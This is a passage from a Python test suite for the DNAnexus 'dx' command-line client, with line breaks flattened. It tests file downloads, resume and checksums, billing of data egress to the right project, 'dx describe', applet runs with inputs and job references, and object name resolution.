wait_on_close=True) return dxfile # Download the project recursively, with command [cmd_string]. # Compare the downloaded directory against the first download # structure. def test_download_cmd(org_dir, cmd_string): testdir = tempfile.mkdtemp() with chdir(testdir): run(cmd_string) run("diff -Naur {} {}".format(org_dir, testdir)) shutil.rmtree(testdir) with temporary_project('test_proj', select=True) as temp_project: proj_id = temp_project.get_id() gen_file("X.txt", proj_id) dxpy.api.project_new_folder(proj_id, {"folder": "/A"}) dxpy.api.project_new_folder(proj_id, {"folder": "/B"}) # Create an entire copy of the project directory structure, # which will be compared to all other downloads. orig_dir = tempfile.mkdtemp() with chdir(orig_dir): run("dx download -r {}:/".format(proj_id)) test_download_cmd(orig_dir, "dx download -r /") test_download_cmd(orig_dir, "dx download -r {}:/*".format(proj_id)) test_download_cmd(orig_dir, "dx download -r *") shutil.rmtree(orig_dir) # Test download to stdout def test_download_to_stdout(self): data = "ABCD" def gen_file(fname, proj_id): dxfile = dxpy.upload_string(data, name=fname, project=proj_id, wait_on_close=True) return dxfile with temporary_project('test_proj', select=True) as temp_project: proj_id = temp_project.get_id() gen_file("X.txt", proj_id) buf = run("dx download -o - X.txt") self.assertEqual(buf, data) def test_dx_download_resume_and_checksum(self): def assert_md5_checksum(filename, hasher): with open(filename, "rb") as fh: self.assertEqual(hashlib.md5(fh.read()).hexdigest(), hasher.hexdigest()) def truncate(filename, size): with open(filename, "rb+") as fh: fh.seek(size) fh.truncate() # Manually upload 2 parts part1, part2 = b"0123456789ABCDEF"*1024*64*5, b"0" dxfile = dxpy.new_dxfile(name="test") dxfile.upload_part(part1, index=1) dxfile.upload_part(part2, index=2) dxfile.close(block=True) wd = tempfile.mkdtemp() run("cd {wd}; dx download test; ls -la".format(wd=wd)) assert_md5_checksum(os.path.join(wd, "test"), hashlib.md5(part1 + part2)) truncate(os.path.join(wd, "test"), 1024*1024*5) run("cd {wd}; dx download -f test".format(wd=wd)) assert_md5_checksum(os.path.join(wd, "test"), hashlib.md5(part1 + part2)) truncate(os.path.join(wd, "test"), 1024*1024*5 - 1) run("cd {wd}; dx download -f test".format(wd=wd)) assert_md5_checksum(os.path.join(wd, "test"), hashlib.md5(part1 + part2)) truncate(os.path.join(wd, "test"), 1) run("cd {wd}; dx download -f test".format(wd=wd)) assert_md5_checksum(os.path.join(wd, "test"), hashlib.md5(part1 + part2)) run("cd {wd}; rm test; touch test".format(wd=wd)) run("cd {wd}; dx download -f test".format(wd=wd)) assert_md5_checksum(os.path.join(wd, "test"), hashlib.md5(part1 + part2)) def test_upload_binary_data_with_debugging_info(self): # Really a test that the _DX_DEBUG output doesn't barf on binary data with chdir(tempfile.mkdtemp()): with open('binary', 'wb') as f: f.write(b'\xee\xee\xee\xef') run('_DX_DEBUG=1 dx upload binary') run('_DX_DEBUG=2 dx upload binary') run('_DX_DEBUG=3 dx upload binary') class TestDXClientDownloadDataEgressBilling(DXTestCase): def gen_file(self, fname, data, proj_id): return dxpy.upload_string(data, name=fname, project=proj_id, wait_on_close=True) def get_billed_project(self): with open(self.temp_file_fd.name, "r") as fd: return fd.read() # Clean testing state prior to running a download test. # # We need to remove the local file before downloading. The file # has already been downloaded, and the 'dx download' code will # skip re-downloading, causing test failure. def prologue(self, file1, file2): with open(self.temp_file_fd.name, "w") as fd: fd.truncate() for filename in [file1, file2]: if os.path.exists(filename): os.remove(filename) def setUp(self): self.temp_file_fd = tempfile.NamedTemporaryFile() # set output file to verify api call is called with correct project os.environ['_DX_DUMP_BILLED_PROJECT'] = self.temp_file_fd.name def tearDown(self): del os.environ['_DX_DUMP_BILLED_PROJECT'] self.temp_file_fd.close() @unittest.skipUnless(testutil.TEST_ENV, 'skipping test that would clobber your local environment') def test_dx_cat_project_context(self): proj1_name = 'test_proj1' proj2_name = 'test_proj2' with temporary_project(proj1_name, select=True) as proj, \ temporary_project(proj2_name) as proj2, \ chdir(tempfile.mkdtemp()): data1 = 'ABCD' file1_name = "file1" file1_id = self.gen_file(file1_name, data1, proj.get_id()).get_id() data2 = '1234' file2_name = "file2" file2_id = self.gen_file(file2_name, data2, proj2.get_id()).get_id() # Success: project from context contains file specified by ID buf = run("dx download -o - {f}".format(f=file1_id)) self.assertEqual(buf, data1) # Project context alone, when combined with file by ID, is # not sufficient to indicate user's intent to use that # project self.assertEqual(self.get_billed_project(), "") # Success: project from context contains file specified by dxlink buf = run("dx download -o - '{{\"$dnanexus_link\": \"{f}\"}}'".format(f=file1_id)) self.assertEqual(buf, data1) self.assertEqual(self.get_billed_project(), "") # Success: project from context contains file specified by name buf = run("dx download -o - {f}".format(f=file1_name)) self.assertEqual(buf, data1) self.assertEqual(self.get_billed_project(), proj.get_id()) # Success: project specified by context does not contains file specified by ID buf = run("dx download -o - {f}".format(f=file2_id)) self.assertEqual(buf, data2) self.assertEqual(self.get_billed_project(), "") # Success: project specified by context does not contains file specified by dxlink buf = run("dx download -o - '{{\"$dnanexus_link\": \"{f}\"}}'".format(f=file2_id)) self.assertEqual(buf, data2) self.assertEqual(self.get_billed_project(), "") # Failure: project specified by context does not contains file specified by name with self.assertSubprocessFailure(stderr_regexp="Unable to resolve", exit_code=3): run("dx download -o - {f}".format(f=file2_name)) @unittest.skipUnless(testutil.TEST_ENV, 'skipping test that would clobber your local environment') def test_dx_download_project_context(self): proj1_name = 'test_proj1' proj2_name = 'test_proj2' with temporary_project(proj1_name, select=True) as proj, \ temporary_project(proj2_name) as proj2, \ chdir(tempfile.mkdtemp()): data1 = 'ABCD' file1_name = "file1" file1_id = self.gen_file(file1_name, data1, proj.get_id()).get_id() data2 = '1234' file2_name = "file2" file2_id = self.gen_file(file2_name, data2, proj2.get_id()).get_id() # Success: project from context contains file specified by ID self.prologue(file1_name, file2_name) run("dx download -f --no-progress {f}".format(f=file1_id)) # Project context alone, when combined with file by ID, is # not sufficient to indicate user's intent to use that # project self.assertEqual(self.get_billed_project(), "") # Success: project from context contains file specified by dxlink self.prologue(file1_name, file2_name) run("dx download -f --no-progress '{{\"$dnanexus_link\": \"{f}\"}}'".format(f=file1_id)) self.assertEqual(self.get_billed_project(), "") # Success: project from context contains file specified by name self.prologue(file1_name, file2_name) run("dx download -f --no-progress {f}".format(f=file1_name)) self.assertEqual(self.get_billed_project(), proj.get_id()) # Success: project specified by context does not contains file specified by ID self.prologue(file1_name, file2_name) run("dx download -f --no-progress {f}".format(f=file2_id)) self.assertEqual(self.get_billed_project(), "") # Success: project specified by context does not contains file specified by dxlink self.prologue(file1_name, file2_name) run("dx download -f --no-progress '{{\"$dnanexus_link\": \"{f}\"}}'".format(f=file2_id)) self.assertEqual(self.get_billed_project(), "") # Failure: project specified by context does not contains file specified by name self.prologue(file1_name, file2_name) with self.assertSubprocessFailure(stderr_regexp="Unable to resolve", exit_code=3): run("dx download -f --no-progress {f}".format(f=file2_name)) def test_dx_download_project_explicit(self): proj1_name = 'test_proj1_' + str(time.time()) proj2_name = 'test_proj2_' + str(time.time()) with temporary_project(proj1_name, select=True) as proj, \ temporary_project(proj2_name) as proj2, \ chdir(tempfile.mkdtemp()): data1 = 'ABCD' file1_name = "file1" file1_id = self.gen_file(file1_name, data1, proj.get_id()).get_id() data2 = '1234' file2_name = "file2" file2_id = self.gen_file(file2_name, data2, proj2.get_id()).get_id() # Explicit project provided # Success: project specified by ID contains file specified by ID buf = run("dx download -o - {p}:{f}".format(p=proj2.get_id(), f=file2_id)) self.assertEqual(buf, data2) self.assertEqual(self.get_billed_project(), proj2.get_id()) # Success: project specified by ID contains file specified by name buf = run("dx download -o - {p}:{f}".format(p=proj.get_id(), f=file1_name)) self.assertEqual(buf, data1) self.assertEqual(self.get_billed_project(), proj.get_id()) # Success: project specified by name contains file specified by ID buf = run("dx download -o - {p}:{f}".format(p=proj2_name, f=file2_id)) self.assertEqual(buf, data2) self.assertEqual(self.get_billed_project(), proj2.get_id()) # Success: project specified by name contains file specified by name buf = run("dx download -o - {p}:{f}".format(p=proj1_name, f=file1_name)) self.assertEqual(buf, data1) self.assertEqual(self.get_billed_project(), proj.get_id()) # Failure: project specified by ID does not contain file specified by ID with self.assertSubprocessFailure(stderr_regexp="Error: project does not", exit_code=1): run("dx download -o - {p}:{f}".format(p=proj2.get_id(), f=file1_id)) # Failure: project specified by ID does not contain file specified by name with self.assertSubprocessFailure(stderr_regexp="Unable to resolve", exit_code=3): run("dx download -o - {p}:{f}".format(p=proj.get_id(), f=file2_name)) # Failure: project specified by name does not contain file specified by ID with self.assertSubprocessFailure(stderr_regexp="Error: project does not", exit_code=1): run("dx download -o - {p}:{f}".format(p=proj2_name, f=file1_id)) # Failure: project specified by name does not contain file specified by name with self.assertSubprocessFailure(stderr_regexp="Unable to resolve", exit_code=3): run("dx download -o - {p}:{f}".format(p=proj1_name, f=file2_name)) # Test api call parameters when downloading to local file instead of cat to std out # Success: project specified by ID contains file specified by ID self.prologue(file1_name, file2_name) run("dx download -f --no-progress {p}:{f}".format(p=proj2.get_id(), f=file2_id)) self.assertEqual(self.get_billed_project(), proj2.get_id()) # Success: project specified by ID contains file specified by name self.prologue(file1_name, file2_name) run("dx download -f --no-progress {p}:{f}".format(p=proj.get_id(), f=file1_name)) self.assertEqual(self.get_billed_project(), proj.get_id()) # Success: project specified by name contains file specified by ID self.prologue(file1_name, file2_name) run("dx download -f --no-progress {p}:{f}".format(p=proj2_name, f=file2_id)) self.assertEqual(self.get_billed_project(), proj2.get_id()) # Success: project specified by name contains file specified by name self.prologue(file1_name, file2_name) run("dx download -f --no-progress {p}:{f}".format(p=proj1_name, f=file1_name)) self.assertEqual(self.get_billed_project(), proj.get_id()) # Failure: project specified by ID does not contain file specified by ID with self.assertSubprocessFailure(stderr_regexp="Error: specified project does not", exit_code=1): run("dx download -f --no-progress {p}:{f}".format(p=proj2.get_id(), f=file1_id)) # Failure: project specified by ID does not contain file specified by name with self.assertSubprocessFailure(stderr_regexp="Unable to resolve", exit_code=3): run("dx download -f --no-progress {p}:{f}".format(p=proj.get_id(), f=file2_name)) # Failure: project specified by name does not contain file specified by ID with self.assertSubprocessFailure(stderr_regexp="Error: specified project does not", exit_code=1): run("dx download -f --no-progress {p}:{f}".format(p=proj2_name, f=file1_id)) # Failure: project specified by name does not contain file specified by name with self.assertSubprocessFailure(stderr_regexp="Unable to resolve", exit_code=3): run("dx download -f --no-progress {p}:{f}".format(p=proj1_name, f=file2_name)) def test_dx_download_multiple_projects_with_same_name(self): proj_name = 'test_proj1' with temporary_project(proj_name, select=True) as proj, \ temporary_project(proj_name) as proj2, \ chdir(tempfile.mkdtemp()): data1 = 'ABCD' file1_name = "file1" file1_id = self.gen_file(file1_name, data1, proj.get_id()).get_id() data2 = '1234' file2_name = "file1" file2_id = self.gen_file(file2_name, data2, proj2.get_id()).get_id() # Success: project specified by ID contains file specified by ID buf = run("dx download -o - {pid}:{f}".format(pid=proj2.get_id(), f=file2_id)) self.assertEqual(buf, data2) self.assertEqual(self.get_billed_project(), proj2.get_id()) # Failure: project specified by name contains file specified by ID with self.assertSubprocessFailure(stderr_regexp="ResolutionError: Found multiple projects", exit_code=3): run("dx download -o - {pname}:{f}".format(pname=proj_name, f=file2_id)) # Replicate same tests for non-cat (download to file) route # Success: project specified by ID contains file specified by ID run("dx download -f --no-progress {pid}:{f}".format(pid=proj.get_id(), f=file1_id)) self.assertEqual(self.get_billed_project(), proj.get_id()) # Failure: project specified by name contains file specified by ID with self.assertSubprocessFailure(stderr_regexp="ResolutionError: Found multiple projects", exit_code=3): run("dx download -f --no-progress {pname}:{f}".format(pname=proj_name, f=file2_id)) @unittest.skipUnless(testutil.TEST_ENV and testutil.TEST_RUN_JOBS, 'skipping test that would clobber your local environment and run jobs') def test_dx_download_jbors(self): proj1_name = 'test_proj1' proj2_name = 'test_proj2' with temporary_project(proj1_name, select=True) as proj1, \ temporary_project(proj2_name) as proj2, \ chdir(tempfile.mkdtemp()): dxfile = dxpy.upload_string("foo", project=proj1.get_id(), wait_on_close=True) applet_id = dxpy.api.applet_new({ "project": proj1.get_id(), "dxapi": "0.0.1", "inputSpec": [{"name": "infile", "class": "file"}], "outputSpec": [{"name": "outfile", "class": "file"}], "runSpec": {"interpreter": "bash", "code": """ dx-jobutil-add-output outfile `dx-jobutil-parse-link "$infile"` """ }})["id"] applet = dxpy.DXApplet(applet_id) dxjob1 = applet.run({"infile": {"$dnanexus_link": dxfile.get_id()}}, project=proj1.get_id()) dxjob2 = applet.run({"infile": {"$dnanexus_link": dxfile.get_id()}}, project=proj2.get_id()) dxjob1.wait_on_done() dxjob2.wait_on_done() # Test downloading from jobs running in the current project # context, and outside of the current project context run("dx download -f --no-progress {job1}:outfile".format(job1=dxjob1.get_id())) self.assertEqual(self.get_billed_project(), proj1.get_id()) run("dx download --no-progress -o - {job1}:outfile".format(job1=dxjob1.get_id())) self.assertEqual(self.get_billed_project(), proj1.get_id()) run("dx download -f --no-progress {job2}:outfile".format(job2=dxjob2.get_id())) self.assertEqual(self.get_billed_project(), proj2.get_id()) run("dx download --no-progress -o - {job2}:outfile".format(job2=dxjob2.get_id())) self.assertEqual(self.get_billed_project(), proj2.get_id()) # Test downloading without a project context set with without_project_context(): run("dx download -f --no-progress {job1}:outfile".format(job1=dxjob1.get_id())) self.assertEqual(self.get_billed_project(), proj1.get_id()) class TestDXClientDescribe(DXTestCase): def test_projects(self): run("dx describe :") run("dx describe " + self.project) run("dx describe " + self.project + ":") # need colon to recognize as project name with self.assertSubprocessFailure(exit_code=3): run("dx describe dxclient_test_pröject") # bad project name with self.assertSubprocessFailure(exit_code=3): run("dx describe dne:") # nonexistent project ID with self.assertSubprocessFailure(exit_code=3): run("dx describe project-123456789012345678901234") def test_bad_current_project(self): with self.assertSubprocessFailure(stderr_regexp='No matches found', exit_code=3): run("dx describe nonexistent --project-context-id foo") run("dx describe " + self.project + " --project-context-id foo") def test_user_describe_self_shows_bill_to(self): ## Verify `billTo` from /user-xxxx/describe. user_id = dxpy.whoami() user_desc = dxpy.api.user_describe(user_id) self.assertTrue("billTo" in user_desc) self.assertEqual(user_desc.get("billTo"), user_id) ## Verify `billTo` from "dx describe user-xxxx". bill_to_label = "Default bill to" cli_user_desc = run("dx describe " + user_id).strip().split("\n") parsed_desc = filter(lambda line: line.startswith(bill_to_label), cli_user_desc) self.assertEqual(len(parsed_desc), 1) key_and_value = parsed_desc[0].split(bill_to_label) self.assertEqual(key_and_value[0], "") self.assertEqual(key_and_value[1].strip(), user_id) ## Verify `billTo` from "dx describe user-xxxx --json". cli_user_desc_json = json.loads( run("dx describe " + user_id + " --json") ) self.assertTrue("billTo" in cli_user_desc_json) self.assertEqual(cli_user_desc_json.get("billTo"), user_id) @unittest.skipUnless(testutil.TEST_ISOLATED_ENV, 'skipping test that would create apps') def test_describe_deleted_app(self): applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "inputSpec": [], "outputSpec": [], "runSpec": {"interpreter": "bash", "code": ""}, "name": "applet_to_delete"})['id'] app_new_output = dxpy.api.app_new({"name": "app_to_delete", "applet": applet_id, "version": "1.0.0"}) # make second app with no default tag app_new_output2 = dxpy.api.app_new({"name": "app_to_delete", "applet": applet_id, "version": "1.0.1"}) dxpy.api.app_delete(app_new_output2["id"]) run("dx describe " + app_new_output2["id"]) class TestDXClientRun(DXTestCase): def setUp(self): self.other_proj_id = run("dx new project other --brief").strip() super(TestDXClientRun, self).setUp() def tearDown(self): dxpy.api.project_destroy(self.other_proj_id, {'terminateJobs': True}) super(TestDXClientRun, self).tearDown() def test_dx_run_applet_with_input_spec(self): record = dxpy.new_dxrecord(name="my_record") applet_id = dxpy.api.applet_new({ "project": self.project, "dxapi": "0.0.1", "inputSpec": [ {"name": "int0", "class": "int"}, {"name": "int1", "class": "int", "optional": True}, {"name": "string0", "class": "string"}, {"name": "string1", "class": "string", "optional": True}, {"name": "record0", "class": "record"}, {"name": "record1", "class": "record", "optional": True}, ], "outputSpec": [ {"name": "outint", "class": "int"}, {"name": "outstring", "class": "string"}, {"name": "outrecord", "class": "record"}, ], "runSpec": {"interpreter": "bash", "code": """ dx-jobutil-add-output outint $int0 dx-jobutil-add-output outstring $string0 dx-jobutil-add-output outrecord $record0 """ }})["id"] applet = dxpy.DXApplet(applet_id) ############################# # With only required inputs # ############################# # Run with applet handler. job = applet.run({"int0": 16, "string0": "input_string", "record0": {"$dnanexus_link": record.get_id()}}) job_desc = job.describe() exp = {"int0": 16, "string0": "input_string", "record0": {"$dnanexus_link": record.get_id()}} self.assertEquals(job_desc["input"], exp) # Run with "dx run". job_id = run("dx run {applet_id} -iint0=16 -istring0=input_string -irecord0={record_id} --brief".format( applet_id=applet_id, record_id=record.get_id())).strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc["input"], exp) job_id = run("dx run {applet_id} -iint0:int=16 -istring0:string=input_string -irecord0:record={record_id} --brief".format( applet_id=applet_id, record_id=record.get_id())).strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc["input"], exp) # Run with "dx run" with JBORs. other_job_id = run("dx run {applet_id} -iint0={job_id}:outint -istring0={job_id}:outstring -irecord0={job_id}:outrecord --brief".format( applet_id=applet_id, job_id=job_id)).strip() job_desc = dxpy.describe(other_job_id) exp = {"int0": {"$dnanexus_link": {"field": "outint", "job": job_id}}, "string0": {"$dnanexus_link": {"field": "outstring", "job": job_id}}, "record0": {"$dnanexus_link": {"field": "outrecord", "job": job_id}}} self.assertEquals(job_desc["input"], exp) # Run with "dx run" with input name mapped to data object name. job_id = run("dx run {applet_id} -iint0=16 -istring0=input_string -irecord0=my_record --brief".format( applet_id=applet_id)).strip() job_desc = dxpy.describe(job_id) exp = {"int0": 16, "string0": "input_string", "record0": {"$dnanexus_link": {"project": self.project, "id": record.get_id()}}} self.assertEquals(job_desc["input"], exp) ##################################### # With required and optional inputs # ##################################### second_record = dxpy.new_dxrecord() # Run with applet handler. job = applet.run({"int0": 16, "string0": "input_string", "record0": {"$dnanexus_link": record.get_id()}, "int1": 32, "string1": "second_input_string", "record1": {"$dnanexus_link": second_record.get_id()}}) job_desc = job.describe() exp = {"int0": 16, "int1": 32, "string0": "input_string", "string1": "second_input_string", "record0": {"$dnanexus_link": record.get_id()}, "record1": {"$dnanexus_link": second_record.get_id()}} self.assertEquals(job_desc["input"], exp) # Run with "dx run". job_id = run("dx run {applet_id} -iint0=16 -istring0=input_string -irecord0={record_id} -iint1=32 -istring1=second_input_string -irecord1={second_record_id} --brief".format( applet_id=applet_id, record_id=record.get_id(), second_record_id=second_record.get_id())).strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc["input"], exp) # Run with "dx run" with JBORs. other_job_id = run("dx run {applet_id} -iint0=32 -iint1={job_id}:outint -istring0=second_input_string -istring1={job_id}:outstring -irecord0={second_record_id} -irecord1={job_id}:outrecord --brief".format( applet_id=applet_id, job_id=job_id, second_record_id=second_record.get_id())).strip() job_desc = dxpy.describe(other_job_id) exp = {"int0": 32, "int1": {"$dnanexus_link": {"field": "outint", "job": job_id}}, "string0": "second_input_string", "string1": {"$dnanexus_link": {"field": "outstring", "job": job_id}}, "record0": {"$dnanexus_link": second_record.get_id()}, "record1": {"$dnanexus_link": {"field": "outrecord", "job": job_id}}} self.assertEquals(job_desc["input"], exp) def test_dx_run_applet_without_input_spec(self): record = dxpy.new_dxrecord(name="my_record") applet_id = dxpy.api.applet_new({ "project": self.project, "dxapi": "0.0.1", "outputSpec": [ {"name": "outint", "class": "int"}, {"name": "outstring", "class": "string"}, {"name": "outrecord", "class": "record"}, ], "runSpec": {"interpreter": "bash", "code": """ record_id=`dx new record --close --brief` dx-jobutil-add-output outint 32 dx-jobutil-add-output outstring output_string dx-jobutil-add-output outrecord $record_id """ }})["id"] applet = dxpy.DXApplet(applet_id) # Run with applet handler. job = applet.run({"int0": 16, "string0": "input_string", "record0": {"$dnanexus_link": record.get_id()}}) job_desc = job.describe() exp = {"int0": 16, "string0": "input_string", "record0": {"$dnanexus_link": record.get_id()}} self.assertEquals(job_desc["input"], exp) # Run with "dx run". job_id = run("dx run {applet_id} -iint0=16 -istring0=input_string -irecord0={record_id} --brief".format(applet_id=applet_id, record_id=record.get_id())).strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc["input"], exp) job_id = run("dx run {applet_id} -iint0:int=16 -istring0:string=input_string -irecord0:record={record_id} --brief".format(applet_id=applet_id, record_id=record.get_id())).strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc["input"], exp) # Run with "dx run" with JBORs. other_job_id = run("dx run {applet_id} -iint0={job_id}:outint -istring0={job_id}:outstring -irecord0={job_id}:outrecord --brief".format(applet_id=applet_id, job_id=job_id)).strip() job_desc = dxpy.describe(other_job_id) exp = {"int0": {"$dnanexus_link": {"field": "outint", "job": job_id}}, "string0": {"$dnanexus_link": {"field": "outstring", "job": job_id}}, "record0": {"$dnanexus_link": {"field": "outrecord", "job": job_id}}} self.assertEquals(job_desc["input"], exp) other_job_id = run("dx run {applet_id} -irecord0={record_id} -irecord1={job_id}:outrecord --brief".format( applet_id=applet_id, job_id=job_id, record_id=record.get_id() )).strip() job_desc = dxpy.describe(other_job_id) exp = {"record0": {"$dnanexus_link": record.get_id()}, "record1": {"$dnanexus_link": {"field": "outrecord", "job": job_id}}} self.assertEquals(job_desc["input"], exp) # Run with "dx run" with repeated input names: order of input values # preserved. other_job_id = run("dx run {applet_id} -irecord0={record_id} -irecord0={job_id}:outrecord --brief".format( applet_id=applet_id, job_id=job_id, record_id=record.get_id() )).strip() job_desc = dxpy.describe(other_job_id) exp = {"record0": [{"$dnanexus_link": record.get_id()}, {"$dnanexus_link": {"field": "outrecord", "job": job_id}}]} self.assertEquals(job_desc["input"], exp) other_job_id = run("dx run {applet_id} -irecord0={job_id}:outrecord -irecord0={record_id} --brief".format( applet_id=applet_id, job_id=job_id, record_id=record.get_id() )).strip() job_desc = dxpy.describe(other_job_id) exp = {"record0": [{"$dnanexus_link": {"field": "outrecord", "job": job_id}}, {"$dnanexus_link": record.get_id()}]} self.assertEquals(job_desc["input"], exp) # Run with "dx run" with input name mapped to data object name. job_id = run("dx run {applet_id} -irecord0=my_record --brief".format(applet_id=applet_id)).strip() job_desc = dxpy.describe(job_id) exp = {"record0": {"$dnanexus_link": {"project": self.project, "id": record.get_id()}}} self.assertEquals(job_desc["input"], exp) def test_dx_resolve(self): applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "runSpec": {"interpreter": "bash", "code": "echo 'hello'"} })['id'] record_id0 = dxpy.api.record_new({"project": self.project, "dxapi": "1.0.0", "name": "resolve_record0"})['id'] record_id1 = dxpy.api.record_new({"project": self.project, "dxapi": "1.0.0", "name": "resolve_record1"})['id'] record_id2 = dxpy.api.record_new({"project": self.project, "dxapi": "1.0.0", "name": "resolve_record2"})['id'] glob_id = dxpy.api.record_new({"project": self.project, "dxapi": "1.0.0", "name": "glob_resolve_record"})['id'] job_id = run("dx run " + applet_id + " -iinput0=resolve_record0 -iinput1=resolve_record1 " + "-iinput2=glob_resolve* -iint0=5 -iint1=15 --brief -y").strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc['input']['input0']['$dnanexus_link']['id'], record_id0) self.assertEquals(job_desc['input']['input1']['$dnanexus_link']['id'], record_id1) self.assertEquals(job_desc['input']['input2']['$dnanexus_link']['id'], glob_id) self.assertEquals(job_desc['input']['int0'], 5) self.assertEquals(job_desc['input']['int1'], 15) # If multiple entities are provided with the same input name, then their resolved result should # appear in a list, in the order in which they were provided, no matter the method of resolution job_id = run("dx run " + applet_id + " -iinput0=resolve_record0 -iinput0=25 -iinput0=glob_resolve* " + "-iinput0=resolve_record1 -iinput1=" + record_id0 + " -iinput1=50 -iinput1=resolve_record1 " + "--brief -y").strip() job_desc = dxpy.describe(job_id) self.assertEquals(len(job_desc['input']['input0']), 4) self.assertEquals(job_desc['input']['input0'][0]['$dnanexus_link']['id'], record_id0) self.assertEquals(job_desc['input']['input0'][1], 25) self.assertEquals(job_desc['input']['input0'][2]['$dnanexus_link']['id'], glob_id) self.assertEquals(job_desc['input']['input0'][3]['$dnanexus_link']['id'], record_id1) self.assertEquals(len(job_desc['input']['input1']), 3) self.assertEquals(job_desc['input']['input1'][0]['$dnanexus_link'], record_id0) self.assertEquals(job_desc['input']['input1'][1], 50) self.assertEquals(job_desc['input']['input1'][2]['$dnanexus_link']['id'], record_id1) # If a record cannot be resolved, then the return value should just be the record name passed in job_id = run("dx run " + applet_id + " --brief -y -iinput0=cannot_resolve " + "-iinput1=resolve_record0 -iint0=10").strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc['input']['input0'], "cannot_resolve") self.assertEquals(job_desc['input']['input1']['$dnanexus_link']['id'], record_id0) self.assertEquals(job_desc['input']['int0'], 10) job_id = run("dx run " + applet_id + " --brief -y -iinput0=glob_cannot_resolve*").strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc['input']['input0'], "glob_cannot_resolve*") # Should simply use given name if it corresponds to multiple records (glob or not); # length validation errors out, but exec_io catches it dup_record_id = dxpy.api.record_new({"project": self.project, "dxapi": "1.0.0", "name": "resolve_record0"})['id'] job_id = run("dx run " + applet_id + " --brief -y -iinput0=resolve_record0").strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc['input']['input0'], "resolve_record0") job_id = run("dx run " + applet_id + " --brief -y -iinput0=resolve_record*").strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc['input']['input0'], "resolve_record*") applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "inputSpec": [ {"name": "input0", "class": "record"}, {"name": "input1", "class": "array:record", "optional": True}, {"name": "int0", "class": "int"}, {"name": "int1", "class": "array:int", "optional": True}, {"name": "bool0", "class": "array:boolean", "optional": True} ], "outputSpec": [], "runSpec": {"interpreter": "bash", "code": "echo 'hello'"} })['id'] # Try with applet that has an input spec job_id = run("dx run " + applet_id + " --brief -y -iinput0=resolve_record1 -iint0=10 " + "-iinput1=resolve_record2 -iinput1=resolve_record1 -iint1=0 -iint1=1 -iint1=2 " + "-ibool0=true -ibool0=0").strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc['input']['input0']['$dnanexus_link']['id'], record_id1) self.assertEquals(job_desc['input']['input1'][0]['$dnanexus_link']['id'], record_id2) self.assertEquals(job_desc['input']['input1'][1]['$dnanexus_link']['id'], record_id1) self.assertEquals(job_desc['input']['int0'], 10) self.assertEquals(job_desc['input']['int1'], [0, 1, 2]) self.assertEquals(job_desc['input']['bool0'], [True, False]) # Workflows should show same behavior as applets workflow_id = run("dx new workflow myworkflow --output-folder /foo --brief").strip() stage_id = dxpy.api.workflow_add_stage(workflow_id, {"editVersion": 0, "executable": applet_id})['stage'] record_id = dxpy.api.record_new({"project": self.project, "dxapi": "1.0.0", "name": "myrecord"})['id'] analysis_id = run("dx run " + workflow_id + " -i" + stage_id + ".input0=myrecord -i" + stage_id + ".int0=77 -y --brief").strip() analysis_desc = dxpy.describe(analysis_id) self.assertEquals(analysis_desc['input'][stage_id + '.input0']['$dnanexus_link']['id'], record_id) self.assertEquals(analysis_desc['input'][stage_id + '.int0'], 77) def test_dx_resolve_check_resolution_needed(self): # If no entity_name is given, no entity_name should be returned self.assertEquals(check_resolution("some_path", "project_id", "/", None), (False, "project_id", "/", None)) self.assertEquals(check_resolution("some_path", self.project, "/", None), (False, self.project, "/", None)) record_id = dxpy.api.record_new({"project": self.project, "dxapi": "1.0.0", "name": "myrecord"})['id'] self.assertEquals(check_resolution("some_path", self.project, "/", "myrecord"), (True, self.project, "/", "myrecord")) self.assertEquals(check_resolution("some_path", "not_a_real_project_id", "/", "notarealrecord"), (True, "not_a_real_project_id", "/", "notarealrecord")) # If the entity is a DX ID, but not an expected class, the result should be False, None, None, None result = check_resolution("some_path", self.project, "/", record_id, expected_classes=["file"]) self.assertEquals(result, (False, None, None, None)) # If entity_id is a hash, there is no need to resolve, and the describe # output is returned (should work no matter what project is given) result = check_resolution("some_path", self.project, "/", record_id, expected_classes=["record"]) self.assertEquals(result[:3], (False, self.project, "/")) desc_output = result[3] self.assertEquals(desc_output["describe"]["project"], self.project) self.assertEquals(desc_output["describe"]["name"], "myrecord") self.assertEquals(desc_output["id"], record_id) desc_output = check_resolution("some_path", None, "/", record_id, enclose_in_list=True)[3][0] self.assertEquals(desc_output["describe"]["project"], self.project) self.assertEquals(desc_output["describe"]["name"], "myrecord") self.assertEquals(desc_output["id"], record_id) # Describing entity_id should work even if the project hint is wrong result = check_resolution("some_path", self.project, "/", record_id, describe={"project": self.other_proj_id, "fields": {"sponsored": True}}) self.assertEquals(result[:3], (False, self.project, "/")) desc_output = result[3] self.assertEquals(desc_output["describe"]["sponsored"], False) self.assertEquals(desc_output["id"], record_id) # Even if the given project is not a real project ID, the correct project ID # should be in the describe output desc_output = check_resolution("some_path", "not_a_real_project_id", "/", record_id)[3] self.assertEquals(desc_output["describe"]["project"], self.project) self.assertEquals(desc_output["describe"]["name"], "myrecord") self.assertEquals(desc_output["id"], record_id) # If describing an entity ID fails, then a ResolutionError should be # raised with self.assertRaisesRegexp(ResolutionError, "The entity record-\d+ could not be found"): check_resolution("some_path", self.project, "/", "record-123456789012345678901234") def test_dx_run_depends_on_success(self): applet_id = dxpy.api.applet_new({"project": self.project, "dxapi": "1.0.0", "inputSpec": [], "outputSpec": [], "runSpec": {"interpreter": "bash", "code": "echo 'hello'"} })['id'] job_dep_id = run("dx run " + applet_id + " --brief -y").strip() record_dep_id = dxpy.api.record_new({"project": self.project})['id'] job_id = run("dx run " + applet_id + " --brief -y").strip() job_desc = dxpy.describe(job_id) self.assertEquals(job_desc['dependsOn'], []) job_id = run("dx run " + applet_id + " --brief -y -d " + job_dep_id).strip() job_desc = 